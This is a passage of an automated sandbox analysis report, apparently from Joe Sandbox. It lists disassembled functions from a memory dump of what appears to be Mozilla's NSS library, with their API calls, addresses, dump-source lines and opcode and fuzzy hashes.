Part of subcall function 6CEC1560: EnterCriticalSection.KERNEL32(?,?,?,6CE90844,?), ref: 6CEC158F
Part of subcall function 6CEC1560: PR_Unlock.NSS3(?,?,?,?,6CE90844,?), ref: 6CEC15B2

Part of subcall function 6CE8B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6CE91397,00000000,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1CB
Part of subcall function 6CE8B1A0: free.MOZGLUE(5B5F5EC0,?,6CE8CF93,5B5F5EC0,00000000,?,6CE91397,?), ref: 6CE8B1D2

Part of subcall function 6CE889E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6CE888AE,-00000008), ref: 6CE88A04
Part of subcall function 6CE889E0: EnterCriticalSection.KERNEL32(?), ref: 6CE88A15
Part of subcall function 6CE889E0: memset.VCRUNTIME140(6CE888AE,00000000,00000132), ref: 6CE88A27
Part of subcall function 6CE889E0: PR_Unlock.NSS3(?), ref: 6CE88A35

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction ID: 93248238f67643b6dbf8f3c89d86afd8877ebd324aff77f214dcbd91ec987d6d
Opcode Fuzzy Hash: 483fc3a83b214ce1640064cd0b5555ded1e02265877b0776da38633f441cce3c
Instruction Fuzzy Hash: CB5197F5E012005FEB009F64DE41ABB37B89F4525CF250468EC19A7752E731FD1586A2

Function 6CE66E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6CE66ED8
sqlite3_value_text.NSS3(?,?), ref: 6CE66EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6CE66FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6CE66FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6CE66FF0
sqlite3_value_blob.NSS3(?,?), ref: 6CE67010
sqlite3_value_blob.NSS3(?,?), ref: 6CE6701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6CE67052

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 6fbdca9452d07037847658a79c75e9b98bbd55bbb023f7792eff405d50916486
Instruction ID: a7a3fc20dbe482b25a1acff9afc3ff4f064173e00827fcfbefef72e180d8c9ed
Opcode Fuzzy Hash: 6fbdca9452d07037847658a79c75e9b98bbd55bbb023f7792eff405d50916486
Instruction Fuzzy Hash: 5961B2B1E752068BDB40CF66D8017EEB7B6AF85308F384169D855ABF51E7319C06CBA0

Function 6CED8F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6CED7313), ref: 6CED8FBB

Part of subcall function 6CED07B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CE78298,?,?,?,6CE6FCE5,?), ref: 6CED07BF
Part of subcall function 6CED07B0: PL_HashTableLookup.NSS3(?,?), ref: 6CED07E6
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED081B
Part of subcall function 6CED07B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED0825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6CED7313), ref: 6CED9012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED90DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6CED7313), ref: 6CED90F1

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6CED7313), ref: 6CED906B

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6CED7313), ref: 6CED9128

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: 9df96450f4bad2d30b5dbca8e304f52a76eb4cc083e49a1fdbd56159dc3b40ea
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: AA517E71A002018BEB109F6ADC54B26B3F9AF4535CF374129D915D7B61EB31F806CB91

Function 6CE89C50 Relevance: 12.1, APIs: 8, Instructions: 137COMMON

Download Yara Rule

APIs

Part of subcall function 6CE88850: calloc.MOZGLUE(00000001,00000028,00000000,?,?,6CE90715), ref: 6CE88859
Part of subcall function 6CE88850: PR_NewLock.NSS3 ref: 6CE88874
Part of subcall function 6CE88850: PL_InitArenaPool.NSS3(-00000008,NSS,00000800,00000008), ref: 6CE8888D

PR_NewLock.NSS3 ref: 6CE89CAD

Part of subcall function 6CF398D0: calloc.MOZGLUE(00000001,00000084,6CE60936,00000001,?,6CE6102C), ref: 6CF398E5

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

TlsGetValue.KERNEL32 ref: 6CE89CE8
EnterCriticalSection.KERNEL32(?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D01
TlsGetValue.KERNEL32(?,?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D38
EnterCriticalSection.KERNEL32(?,?,6CE8ECEC,6CE92FCD,00000000,?,6CE92FCD,?), ref: 6CE89D4D
PR_Unlock.NSS3 ref: 6CE89D70
PR_Unlock.NSS3 ref: 6CE89DC3
PR_NewLock.NSS3 ref: 6CE89DDD

Part of subcall function 6CE888D0: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88906
Part of subcall function 6CE888D0: EnterCriticalSection.KERNEL32(?), ref: 6CE8891A
Part of subcall function 6CE888D0: PL_ArenaAllocate.NSS3(?,?), ref: 6CE8894A
Part of subcall function 6CE888D0: calloc.MOZGLUE(00000001,6CE9072D,00000000,00000000,00000000,?,6CE90725,00000000,00000058), ref: 6CE88959
Part of subcall function 6CE888D0: memset.VCRUNTIME140(?,00000000,?), ref: 6CE88993
Part of subcall function 6CE888D0: PR_Unlock.NSS3(?), ref: 6CE889AF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$calloc$CriticalEnterLockSectionUnlock$Arena$AllocateInitPoolmemset
String ID:
API String ID: 3394263606-0
Opcode ID: 9c3b7a0f90e5c30fcb1cd32f567f7a7879788e898e594bfaee31b94538571976
Instruction ID: d0e3a63bb9177d2018ad08eb54221bfdaa51d0cec7fc5d7fa25ea157aaa5f620
Opcode Fuzzy Hash: 9c3b7a0f90e5c30fcb1cd32f567f7a7879788e898e594bfaee31b94538571976
Instruction Fuzzy Hash: 4D514F71E067059FDB00EF68C08466EBBF0BF45359F258969D89C9BB50DB30E944CB91

Function 6CF89EA0 Relevance: 12.1, APIs: 8, Instructions: 136COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CF89EC0
EnterCriticalSection.KERNEL32(?), ref: 6CF89EF9
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89F73
EnterCriticalSection.KERNEL32(?), ref: 6CF89FA5
_PR_MD_NOTIFY_CV.NSS3(-00000074), ref: 6CF89FCF
_PR_MD_UNLOCK.NSS3(?), ref: 6CF89FF2
_PR_MD_UNLOCK.NSS3(?), ref: 6CF8A01D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterSection
String ID:
API String ID: 1904992153-0
Opcode ID: c09f660da89a2956115983edbeadad7e241a21a11ba906c4950bb866593d2a2f
Instruction ID: 09b7b1bcd76821b5d67f1d1bd53a0e868c1f872b04dcd8979f74549bf3267276
Opcode Fuzzy Hash: c09f660da89a2956115983edbeadad7e241a21a11ba906c4950bb866593d2a2f
Instruction Fuzzy Hash: 5451BFB2801610DBCB109F25D88468AB7F0FF44319F25856ADC599BB52EB31EA85CBE1

Function 6CE7DCE0 Relevance: 12.1, APIs: 8, Instructions: 90stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6CE7DCFA

Part of subcall function 6CF39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DC6
Part of subcall function 6CF39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF80A27), ref: 6CF39DD1
Part of subcall function 6CF39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF39DED

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE7DD40
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6CE7DD62
CERT_DestroyCertificate.NSS3(?), ref: 6CE7DD71
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7DD81
CERT_RemoveCertListNode.NSS3(?), ref: 6CE7DD8F

Part of subcall function 6CE906A0: TlsGetValue.KERNEL32 ref: 6CE906C2
Part of subcall function 6CE906A0: EnterCriticalSection.KERNEL32(?), ref: 6CE906D6
Part of subcall function 6CE906A0: PR_Unlock.NSS3 ref: 6CE906EB

CERT_DestroyCertificate.NSS3(?), ref: 6CE7DD9E
CERT_DestroyCertificate.NSS3(?), ref: 6CE7DDB7

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CertificateDestroy$Time$CertSystem$CriticalEnterFileFindIssuerListNodeRemoveSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strcmp
String ID:
API String ID: 653623313-0
Opcode ID: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction ID: 30447cabe0ad30d9da4139f7a4076343f10aec2e67d6725dcfca08fbfcc13d20
Opcode Fuzzy Hash: 5cd1e4dda6c1f4cf8b67a259948b155a30ce1e8299e7f18c14593722b5766ec0
Instruction Fuzzy Hash: 87218EBAE011259BDF119E94DD419DEBBB4EF05218B290124EE18A7701F731EA15CBF1

Function 6CF05F60 Relevance: 12.1, APIs: 8, Instructions: 64COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05F72

Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6ED8F
Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6ED9E
Part of subcall function 6CE6ED70: DeleteCriticalSection.KERNEL32(?), ref: 6CE6EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FCC
free.MOZGLUE(?,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FF4
free.MOZGLUE(?,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF06019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF0AADB,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF06036

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: f82f3c5bc9a671daeddcbeaca1524125ba993e36f299464f55ffc74a09c40c4d
Instruction ID: 1022f628d0ce232c1c2268f474438dc81936992ba8a2c207a35f163b72a2f9e8
Opcode Fuzzy Hash: f82f3c5bc9a671daeddcbeaca1524125ba993e36f299464f55ffc74a09c40c4d
Instruction Fuzzy Hash: 3D211AF1B04B009BEA209F75DC18BD377B8AB45749F14092CE46AC7640EB76E119CB91

Function 6CE73C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6CEE460B,?,?), ref: 6CE73CA9
EnterCriticalSection.KERNEL32(?), ref: 6CE73CB9
PL_HashTableLookup.NSS3(?), ref: 6CE73CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6CE73CD6
PR_Unlock.NSS3 ref: 6CE73CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6CE73CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE73D03
PR_Unlock.NSS3 ref: 6CE73D15

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 66a6e1d246d0cc084b1656e184127d1d2a98a7df26fa072aaed94bf9588f664a
Instruction ID: 448af55bb88dea6c363a6dafd48d2540eb3eebaa9486b54708942e90a5905bc5
Opcode Fuzzy Hash: 66a6e1d246d0cc084b1656e184127d1d2a98a7df26fa072aaed94bf9588f664a
Instruction Fuzzy Hash: 3D112C76E5051467DB511634AC09AAA7A38EB0225CB354134ED1853B11F722ED58C7E1

Function 6CE79C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE911C0: PR_NewLock.NSS3 ref: 6CE91216

free.MOZGLUE(?), ref: 6CE79E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE79E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE79E4E
TlsGetValue.KERNEL32 ref: 6CE79EA2

Part of subcall function 6CE89500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6CE89546

EnterCriticalSection.KERNEL32(?), ref: 6CE79EB6
PR_Unlock.NSS3 ref: 6CE79ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6CE79F18

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 47d74fa8d5cf2e5df6a30e6f76f3fc4bc5c5754b69eac01856cae6375933bcc0
Instruction ID: 481cb35767fde62d6d946f1e6c9d0a17ceec0a3a9ab97c98c715d0e70830c39e
Opcode Fuzzy Hash: 47d74fa8d5cf2e5df6a30e6f76f3fc4bc5c5754b69eac01856cae6375933bcc0
Instruction Fuzzy Hash: D481CEB5A01601ABEB209F34DC41AABB7F9FF4524CF24452CE85987B41FB31E958C7A1

Function 6CE8DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(D958E852,6CE91397,5B5F5EC0,?,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB3C
Part of subcall function 6CE8AB10: free.MOZGLUE(D958E836,?,6CE8B1EE,2404110F,?,?), ref: 6CE8AB49
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(5D5E6D08), ref: 6CE8AB5C
Part of subcall function 6CE8AB10: free.MOZGLUE(5D5E6CFC), ref: 6CE8AB63
Part of subcall function 6CE8AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6CE8AB6F
Part of subcall function 6CE8AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6CE8AB76

TlsGetValue.KERNEL32 ref: 6CE8DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6CE8DD0E
PK11_IsFriendly.NSS3(?), ref: 6CE8DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6CE8DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE8DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE8DEA6
PR_Unlock.NSS3(?), ref: 6CE8DF08

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: dadd81850961d0cc147b8c7af787aa4f9ce8906643ee9f43bf204ac60bbb375f
Instruction ID: 09f1480166ae06ad418988b1f2c7ece5206f3eb06c549e0f63651f11adf0c01f
Opcode Fuzzy Hash: dadd81850961d0cc147b8c7af787aa4f9ce8906643ee9f43bf204ac60bbb375f
Instruction Fuzzy Hash: 5991A2B9E021069BDB00CF68C881BAAB7B5AF4530CF25412ADC1D9B751E731EA55CBA1

Function 6CE45FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE460AB
sqlite3_config.NSS3(00000004,6CF94CA4,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE460EB
sqlite3_config.NSS3(00000012,6CF94CC4,?,?,6CF2BB62,00000004,6CF94CA4,?,?,00000000,?,?,6CE031DB), ref: 6CE46122

Strings

misuse, xrefs: 6CE4609F
%s at line %d of [%.10s], xrefs: 6CE460A4
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE46095

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: f6f364c973b5416c8a86b0704335ab683cfa7295264460c564a9469ca6453fb5
Instruction ID: 721fcb4f057f8ef12587f3067425524d6a286630e7968a22abbe8dfae0f649f3
